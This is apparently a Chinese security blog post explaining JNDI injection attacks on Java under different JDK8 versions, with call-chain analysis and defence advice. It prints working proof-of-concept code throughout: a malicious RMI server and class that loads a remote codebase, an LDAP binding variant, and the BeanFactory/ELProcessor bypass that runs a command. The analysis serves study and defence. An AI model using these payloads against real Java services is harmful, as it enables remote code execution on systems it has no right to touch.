老生常谈的JNDI——JDK8下的JNDI
字数 1876 2025-08-06 18:07:37
JNDI注入在JDK8各版本中的利用与绕过分析
0x01 前言
JNDI注入是Java安全中一个重要的攻击面,在多个著名漏洞中被作为最终触发点:
- Fastjson的JDBCRowSetImpl利用链
- Log4j2漏洞
- Weblogic T3反序列化漏洞(CVE-2018-3191、CVE-2020-1464、CVE-2020-2551等)
本文重点分析JNDI注入在JDK8各版本中的利用条件与限制。
0x02 JNDI基础知识
JNDI(Java Naming and Directory Interface)是Java提供的命名和目录服务API,支持多种协议:
- LDAP(轻量级目录访问协议)
- CORBA(通用对象请求代理架构)
- COS(通用对象服务)
- RMI(Java远程方法调用注册表)
- DNS(域名服务)
0x03 JNDI注入利用分析
1. JDK Version < 8u121
利用条件:无限制
利用方式:RMI + JNDI
攻击流程:
- 搭建恶意RMI服务:
Registry registry = LocateRegistry.createRegistry(1099);
Reference reference = new Reference("EvalClass2", "EvalClass2", "http://127.0.0.1:8888/");
ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
registry.bind("Exploit", referenceWrapper);
- 准备恶意类:
public class EvalClass2 {
static {
try {
Runtime.getRuntime().exec("calc");
} catch(Exception e) {
e.printStackTrace();
}
}
public EvalClass2(){}
}
- 客户端触发:
InitialContext initialContext = new InitialContext();
initialContext.lookup("rmi://127.0.0.1:1099/Exploit");
调用链分析:
InitialContext.lookup()GenericURLContext.lookup()RegistryContext.lookup()RegistryContext.decodeObject()NamingManager.getObjectInstance()NamingManager.getObjectFactoryFromReference()URLClassLoader.loadClass()→ 触发恶意类静态代码块
2. 8u121 < JDK Version < 8u191
限制:RMI协议被修复,新增trustURLCodebase默认为false
绕过方式:使用LDAP协议
攻击流程:
- 使用Apache Directory Studio搭建LDAP服务
- 绑定恶意Reference:
InitialContext initialContext = new InitialContext();
Reference reference = new Reference("EvalClass2", "EvalClass2", "http://127.0.0.1:8888/");
ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
initialContext.bind("ldap://192.168.129.134:10389/cn=ga0weI,dc=example,dc=com", referenceWrapper);
- 客户端触发:
InitialContext initialContext = new InitialContext();
initialContext.lookup("ldap://192.168.129.134:10389/cn=ga0weI,dc=example,dc=com");
调用链分析:
InitialContext.lookup()LdapURLContext.lookup()LdapCtx.c_lookup()NamingManager.getObjectInstance()- 后续流程与RMI相同
3. JDK Version > 8u191
限制:LDAP协议也新增com.sun.jndi.ldap.object.trustURLCodebase默认为false
绕过方式:利用本地类加载+反射调用
利用条件:
- 目标环境中存在可利用的ObjectFactory实现类
- 该类的getObjectInstance方法存在可利用的sink点
常用组合:BeanFactory + ELProcessor
攻击流程:
- 搭建RMI服务:
Registry registry = LocateRegistry.createRegistry(1099);
ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true, "org.apache.naming.factory.BeanFactory", null);
ref.add(new StringRefAddr("forceString", "Ga0weI=eval"));
ref.add(new StringRefAddr("Ga0weI", "Runtime.getRuntime().exec(\"calc\")"));
ReferenceWrapper referenceWrapper = new ReferenceWrapper(ref);
registry.bind("Exploit", referenceWrapper);
- 客户端触发:
InitialContext initialContext = new InitialContext();
initialContext.lookup("rmi://127.0.0.1:1099/Exploit");
原理分析:
- 使用ResourceRef而非Reference
- 指定factory为
org.apache.naming.factory.BeanFactory - 通过
forceString设置要调用的方法(eval) - 通过自定义属性传入要执行的代码
- BeanFactory的getObjectInstance方法会解析这些配置并反射调用ELProcessor.eval()
关键点:
- 依赖Tomcat相关jar包(tomcat-catalina和tomcat-embed-el)
- ELProcessor类在Tomcat8+中引入
- 测试成功版本:Tomcat 9.0.55
0x04 总结
| JDK版本范围 | 可利用协议 | 关键限制 | 绕过方式 |
|---|---|---|---|
| <8u121 | RMI/LDAP | 无 | 直接利用 |
| 8u121-8u191 | LDAP | RMI的trustURLCodebase=false | 改用LDAP协议 |
| >8u191 | 无直接利用 | LDAP的trustURLCodebase=false | 利用本地存在的危险ObjectFactory实现类 |
防御建议:
- 升级JDK到最新版本
- 检查应用中是否存在不安全的JNDI查找
- 限制出网流量,防止加载远程恶意类
- 移除不必要的危险依赖
学习启示:
安全研究是一个不断深入的过程,随着防护措施的增强,攻击技术也在不断演进。理解底层原理才能更好地应对各种变化。